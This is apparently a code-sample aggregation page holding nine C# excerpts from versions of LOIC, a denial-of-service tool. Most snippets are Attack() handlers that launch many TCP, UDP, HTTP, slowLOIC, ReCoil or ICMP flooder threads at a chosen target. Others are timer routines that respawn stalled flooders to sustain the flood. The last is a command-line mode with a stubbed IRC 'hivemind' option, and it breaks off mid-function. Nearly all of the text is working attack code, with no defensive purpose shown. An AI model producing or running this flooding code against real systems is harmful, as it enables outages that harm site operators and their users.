Esempio n. 1
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if (tShowStats.Enabled)
                    {
                        tShowStats.Stop();
                    }

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
                    {
                        HandleError("Invalid port.", silent);
                        return;
                    }
                    if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
                    {
                        HandleError("Too many threads!  Lower than 100, please.", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    sMethod  = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if (protocol == Protocol.None)
                    {
                        HandleError("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                    {
                        HandleError("No contents specified.", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
                    {
                        HandleError("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                    {
                        HandleError("Invalid number in timeout box.", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout        = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                        {
                            throw new Exception("Please enter a number.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    HandleError(ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled    = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled    = false;
                cbMethod.Enabled     = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled     = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    switch (protocol)
                    {
                    case Protocol.ReCoil:
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        break;

                    case Protocol.slowLOIC:
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.HTTP:
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.TCP:
                    case Protocol.UDP:
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        break;

                    case Protocol.ICMP:
                        ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        break;
                    }

                    if (ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text       = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled    = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled    = true;
                cbMethod.Enabled     = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled     = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
Esempio n. 2
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                // Protect against race condition
                if (tShowStats.Enabled)
                {
                    tShowStats.Stop();
                }

                if (!int.TryParse(txtPort.Text, out iPort) || iPort < 0 || iPort > 65535)
                {
                    Wtf("I don't think ports are supposed to be written like THAT.", silent);
                    return;
                }

                if (!int.TryParse(txtThreads.Text, out iThreads) || iThreads < 1 || iThreads > 99)
                {
                    Wtf("What on earth made you put THAT in the threads field?", silent);
                    return;
                }

                sIP = txtTarget.Text;
                if (String.IsNullOrEmpty(sIP) || sIP.Equals("N O N E !"))
                {
                    Wtf("Select a target.", silent);
                    return;
                }

                if (String.IsNullOrEmpty(sHost))
                {
                    sHost = sIP;
                }
                if (!sHost.Contains("://"))
                {
                    sHost = String.Concat("http://", sHost);
                }

                try { sHost = new Uri(sHost).Host; }
                catch (UriFormatException ex) { Wtf(ex.Message, silent); return; }

                sMethod  = cbMethod.Text;
                protocol = Protocol.None;
                try {
                    protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                    // Analysis disable once EmptyGeneralCatchClause
                } catch { }
                if (protocol == Protocol.None)
                {
                    Wtf("Select a proper attack method.", silent);
                    return;
                }

                sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                {
                    Wtf("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
                    return;
                }

                sSubsite = txtSubsite.Text;
                if (!sSubsite.StartsWith("/") && (protocol == Protocol.HTTP))
                {
                    Wtf("You have to enter a subsite (for example \"/\")", silent);
                    return;
                }

                if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                {
                    Wtf("What's up with something like that in the timeout box? =S", silent);
                    return;
                }

                cmdAttack.Text = "Stop flooding";

                if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                {
                    arr = new XXPFlooder[iThreads];
                    for (int a = 0; a < arr.Length; a++)
                    {
                        arr[a] = new XXPFlooder(sIP, iPort, (int)protocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
                        arr[a].Start();
                    }
                }
                if (protocol == Protocol.HTTP)
                {
                    arr = new HTTPFlooder[iThreads];
                    for (int a = 0; a < arr.Length; a++)
                    {
                        arr[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        arr[a].Start();
                    }
                }
                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text = AttackText;
                if (arr != null)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                    }
                }
            }
        }
Esempio n. 3
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if (arr == null || intShowStats)
            {
                return;
            }

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;

            if (cmdAttack.Text == StpFldText)
            {
                isFlooding = true;
            }

            if (arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if (arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = arr[a] as cHLDos;

                        iDownloaded += c.Downloaded;
                        iRequested  += c.Requested;
                        iFailed     += c.Failed;
                        if (c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                        {
                            iIdle++;
                        }
                        if (c.State == ReqState.Connecting)
                        {
                            iConnecting++;
                        }
                        if (c.State == ReqState.Requesting)
                        {
                            iRequesting++;
                        }
                        if (c.State == ReqState.Downloading)
                        {
                            iDownloading++;
                        }

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested  = c.Requested;
                            int iaFailed     = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }
                            if (protocol == Protocol.ICMP)
                            {
                                ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                            }

                            if (ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested  = iaRequested;
                                ts.Failed     = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }
                        if (protocol == Protocol.ICMP)
                        {
                            ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        }

                        if (ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else
                        {
                            break;
                        }
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text      = iFailed.ToString();
            lbRequested.Text   = iRequested.ToString();
            lbDownloaded.Text  = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text  = iRequesting.ToString();
            lbConnecting.Text  = iConnecting.ToString();
            lbIdle.Text        = iIdle.ToString();

            intShowStats = false;
        }
Esempio n. 4
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if(arr == null || intShowStats)
                return;

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;
            if (cmdAttack.Text == StpFldText)
                isFlooding = true;

            if(arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if(arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = (cHLDos)arr[a];

                        iDownloaded += c.Downloaded;
                        iRequested += c.Requested;
                        iFailed += c.Failed;
                        if(c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                            iIdle++;
                        if (c.State == ReqState.Connecting)
                            iConnecting++;
                        if (c.State == ReqState.Requesting)
                            iRequesting++;
                        if (c.State == ReqState.Downloading)
                            iDownloading++;

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested = c.Requested;
                            int iaFailed = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }

                            if(ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested = iaRequested;
                                ts.Failed = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }

                        if(ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else break;
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text = iFailed.ToString();
            lbRequested.Text = iRequested.ToString();
            lbDownloaded.Text = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text = iRequesting.ToString();
            lbConnecting.Text = iConnecting.ToString();
            lbIdle.Text = iIdle.ToString();

            intShowStats = false;
        }
Esempio n. 5
0
		private void Attack(bool toggle, bool on, bool silent)
		{
			if((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
			{
				try
				{
					try { iPort = Convert.ToInt32(txtPort.Text); }
					catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

					try { iThreads = Convert.ToInt32(txtThreads.Text); }
					catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

					sIP = txtTarget.Text;
					if(String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
						throw new Exception("Select a target.");

					if( String.IsNullOrEmpty(sHost) ) sHost = sIP;
					if( !sHost.Contains("://") ) sHost = String.Concat("http://", sHost);
					sHost = new Uri(sHost).Host;

					iProtocol = 0;
					sMethod = cbMethod.Text;
					if(String.Equals(sMethod, "TCP")) iProtocol = 1;
					if(String.Equals(sMethod, "UDP")) iProtocol = 2;
					if(String.Equals(sMethod, "HTTP")) iProtocol = 3;
					if(iProtocol == 0)
						throw new Exception("Select a proper attack method.");

					sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
					if(String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))
						throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");

					sSubsite = txtSubsite.Text;
					if(!sSubsite.StartsWith("/") && (iProtocol == 3))
						throw new Exception("You have to enter a subsite (for example \"/\")");

					try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
					catch { throw new Exception("What's up with something like that in the timeout box? =S"); }
				}
				catch (Exception ex)
				{
					if(silent) return;
					new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;
				}
				cmdAttack.Text = "Stop flooding";

				if(String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))
				{
					xxp = new XXPFlooder[iThreads];
					for (int a = 0; a < xxp.Length; a++)
					{
						xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
						xxp[a].Start();
					}
				}
				if(String.Equals(sMethod, "HTTP"))
				{
					http = new HTTPFlooder[iThreads];
					for (int a = 0; a < http.Length; a++)
					{
						http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
						http[a].Start();
					}
				}
				tShowStats.Start();
			}
			else if(toggle == true || on == false)
			{
				cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
				if(xxp != null)
				{
					for (int a = 0; a < xxp.Length; a++)
					{
						xxp[a].IsFlooding = false;
					}
				}
				if(http != null)
				{
					for (int a = 0; a < http.Length; a++)
					{
						http[a].IsFlooding = false;
					}
				}
				//tShowStats.Stop();
			}
		}
Esempio n. 6
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if(tShowStats.Enabled) tShowStats.Stop();

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort)) {
                        Wtf ("I don't think ports are supposed to be written like THAT.", silent);
                        return;
                    }

                    if (!Functions.ParseInt(txtThreads.Text, 1, 99, out iThreads)) {
                        Wtf ("What on earth made you put THAT in the threads field?", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                        throw new Exception("Select a target.");

                    sMethod = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol) Enum.Parse (typeof (Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if(protocol == Protocol.None) {
                        Wtf ("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if(String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP)) {
                        Wtf ("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith ("/") && ((int)protocol >= (int)Protocol.HTTP)) {
                        Wtf ("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse (txtTimeout.Text, out iTimeout) || iTimeout < 1) {
                        Wtf ("What's up with something like that in the timeout box? =S", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                            throw new Exception("A number is fine too!");
                    }
                }
                catch (Exception ex)
                {
                    Wtf (ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled = false;
                cbMethod.Enabled = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    if (protocol == Protocol.ReCoil)
                    {
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.slowLOIC)
                    {
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.HTTP)
                    {
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                    {
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                    }

                    if(ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if(toggle || !on)
            {
                cmdAttack.Text = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled = true;
                cbMethod.Enabled = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
Esempio n. 7
0
        private void Attack(bool toggle, bool on, bool silent)
        {
            if ((cmdAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
            {
                try
                {
                    try { iPort = Convert.ToInt32(txtPort.Text); }
                    catch { throw new Exception("I don't think ports are supposed to be written like THAT."); }

                    try { iThreads = Convert.ToInt32(txtThreads.Text); }
                    catch { throw new Exception("What on earth made you put THAT in the threads field?"); }

                    sIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sIP) || String.Equals(sIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    if (String.IsNullOrEmpty(sHost))
                    {
                        sHost = sIP;
                    }
                    if (!sHost.Contains("://"))
                    {
                        sHost = String.Concat("http://", sHost);
                    }
                    sHost = new Uri(sHost).Host;

                    iProtocol = 0;
                    sMethod   = cbMethod.Text;
                    if (String.Equals(sMethod, "TCP"))
                    {
                        iProtocol = 1;
                    }
                    if (String.Equals(sMethod, "UDP"))
                    {
                        iProtocol = 2;
                    }
                    if (String.Equals(sMethod, "HTTP"))
                    {
                        iProtocol = 3;
                    }
                    if (iProtocol == 0)
                    {
                        throw new Exception("Select a proper attack method.");
                    }

                    sData = txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (iProtocol == 1 || iProtocol == 2))
                    {
                        throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (iProtocol == 3))
                    {
                        throw new Exception("You have to enter a subsite (for example \"/\")");
                    }

                    try { iTimeout = Convert.ToInt32(txtTimeout.Text); }
                    catch { throw new Exception("What's up with something like that in the timeout box? =S"); }
                }
                catch (Exception ex)
                {
                    if (silent)
                    {
                        return;
                    }
                    new frmWtf().Show(); MessageBox.Show(ex.Message, "What the shit."); return;
                }
                cmdAttack.Text = "Stop flooding";

                if (String.Equals(sMethod, "TCP") || String.Equals(sMethod, "UDP"))
                {
                    xxp = new XXPFlooder[iThreads];
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a] = new XXPFlooder(sIP, iPort, iProtocol, iDelay, chkWaitReply.Checked, sData, chkAllowRandom.Checked);
                        xxp[a].Start();
                    }
                }
                if (String.Equals(sMethod, "HTTP"))
                {
                    http = new HTTPFlooder[iThreads];
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a] = new HTTPFlooder(sHost, sIP, iPort, sSubsite, chkWaitReply.Checked, iDelay, iTimeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        http[a].Start();
                    }
                }

                tShowStats.Start();
            }
            else if (toggle == true || on == false)
            {
                cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (xxp != null)
                {
                    for (int a = 0; a < xxp.Length; a++)
                    {
                        xxp[a].IsFlooding = false;
                    }
                }
                if (http != null)
                {
                    for (int a = 0; a < http.Length; a++)
                    {
                        http[a].IsFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
Esempio n. 8
0
        private void Attack(bool toggle, bool on)
        {
            if ((btnAttack.Text == "IMMA CHARGIN MAH LAZER" && toggle == true) || (toggle == false && on == true))
            {
                try
                {
                    CheckSettings();
                }
                catch (Exception ex)
                {
                    Log(ex.Message);
                    return;
                }

                btnAttack.Text = "Stop flooding";

                if (Settings.AttackType == AttackTypes.TcpFlood)
                {
                    tcpFlooder = new TCPFlooder[Settings.NumThreads];
                    Packet packet = CreatePacket();
                    for (int a = 0; a < tcpFlooder.Length; a++)
                    {
                        tcpFlooder[a] = new TCPFlooder(packet, Settings.SelectedDevice, Settings.Delay);
                        tcpFlooder[a].Start();
                    }
                }
                else if (Settings.AttackType == AttackTypes.UdpFlood)
                {
                    udpFlooder = new XXPFlooder[Settings.NumThreads];
                    for (int a = 0; a < udpFlooder.Length; a++)
                    {
                        udpFlooder[a] = new XXPFlooder(Settings.TargetIP, Settings.TargetPort, Settings.AttackType, Settings.Delay, chkWaitReply.Checked, Settings.Payload, chkAllowRandom.Checked);
                        udpFlooder[a].Start();
                    }
                }
                else if (Settings.AttackType == AttackTypes.HttpFlood)
                {
                    httpFlooder = new HTTPFlooder[Settings.NumThreads];
                    for (int a = 0; a < httpFlooder.Length; a++)
                    {
                        httpFlooder[a] = new HTTPFlooder(Settings.TargetHost, Settings.TargetIP, Settings.TargetPort, Settings.RelativePath, chkWaitReply.Checked, Settings.Delay, Settings.Timeout, chkAllowRandom.Checked, chkAllowGzip.Checked);
                        httpFlooder[a].Start();
                    }
                }
                tShowStats.Start();
            }
            else
            {
                btnAttack.Text = "IMMA CHARGIN MAH LAZER";
                if (tcpFlooder != null)
                {
                    for (int a = 0; a < tcpFlooder.Length; a++)
                    {
                        tcpFlooder[a].IsFlooding = false;
                    }
                }
                if (udpFlooder != null)
                {
                    for (int a = 0; a < udpFlooder.Length; a++)
                    {
                        udpFlooder[a].IsFlooding = false;
                    }
                }
                if (httpFlooder != null)
                {
                    for (int a = 0; a < httpFlooder.Length; a++)
                    {
                        httpFlooder[a].IsFlooding = false;
                    }
                }
                //tShowStats.Stop();
            }
        }
Esempio n. 9
0
        public CLI(bool hive, string ircserver, string ircport, string ircchannel)
        {
            if (hive) {
                // Doe met de hive connecten
                // enzo
            } else {
                // Doe info vragen.
                Console.WriteLine("Manual mode initialized.\n" +
                    "To use hivemind in CLI, use LOIC /cli /hivemind <server> [port] [channel]");

                Console.Write("Server address and port [server:port]: ");
                string[] target = Console.ReadLine().Split(':');
                host = target[0].ToLower();
                port = Convert.ToInt32(target[1]);

                if (host.StartsWith("https://")) host = host.Replace("https://", "http://");
                else if (!host.StartsWith("http://")) host = String.Concat("http://", host);
                try { ip = Dns.GetHostEntry(new Uri(host).Host).AddressList[0].ToString(); }
                catch
                {
                    Console.WriteLine("The URL you entered does not resolve to an IP!");
                    return;
                }

                do {
                    Console.WriteLine("1 TCP\n2 UDP\n3 HTTP");
                    Console.Write("Choose a protocol: ");
                    try { proto = Convert.ToInt32(Console.ReadLine()); } catch (Exception) {proto = -1;}
                    if (proto < 1 || proto > 3) Console.WriteLine("1, 2 or 3, Derpface!");
                } while (proto < 1 || proto > 3);

                Console.Write("Number of threads: ");
                threads = Convert.ToInt32(Console.ReadLine());

                Console.Write("Delay (0-20): ");
                delay = Convert.ToInt32(Console.ReadLine());

                Console.Write("Wait for response? (Y/n): ");
                resp = !Console.ReadLine().Equals("n", StringComparison.CurrentCultureIgnoreCase);

                Console.Write("Message or subsite: ");
                data = Console.ReadLine();

                Console.Write("Append random characters? (Y/n): ");
                rand = !Console.ReadLine().Equals("n", StringComparison.CurrentCultureIgnoreCase);//Catch.

                if (proto == 3) {
                    //HTTP.
